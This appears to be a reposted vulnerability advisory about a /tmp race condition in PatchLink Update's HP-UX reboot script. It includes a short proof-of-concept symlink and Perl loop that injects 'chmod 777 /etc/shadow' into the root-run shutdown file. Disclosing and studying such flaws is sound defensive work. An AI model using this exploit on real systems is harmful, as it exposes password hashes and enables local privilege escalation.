|
|
| |
| "PatchLink Update provides rapid, accurate and secure patch management, allowing you to proactively manage threats by automating the collection, analysis and delivery of patches throughout your enterprise. PatchLink Update significantly decreases the costs involved in securing your organization from worms, Trojans, viruses and other malicious threats." A vulnerability in the way one of PatchLink's scripts works allows local attackers to execute arbitrary files. |
| |
Credit:
The information has been provided by vapidlabs.
The original article can be found at: http://vapid.dhs.org/d/doku.php?id=vapidlabs:patchlink_update_unix_client_local_root_during_reboot_on_hp-ux
|
| |
The script rebootTask contains the following lines for HP-UX Shutdown and reboot:
echo "shutdown -r -y 120" > /tmp/plshutdown
chmod 500 /tmp/plshutdown
at now < /tmp/plshutdown
A race condition exists where a local user could symlink /tmp/plshutdown to a file in their home directory and inject malicious code. This could be done possibly by continuously writing to the file while waiting for the at command to run.
$ ln -s /tmp/plshutdown /var/tmp/runme
#/bin/perl
while(1){
`echo "chmod 777 /etc/shadow" > /var/tmp/runme`;
}
|
|
|
|
|
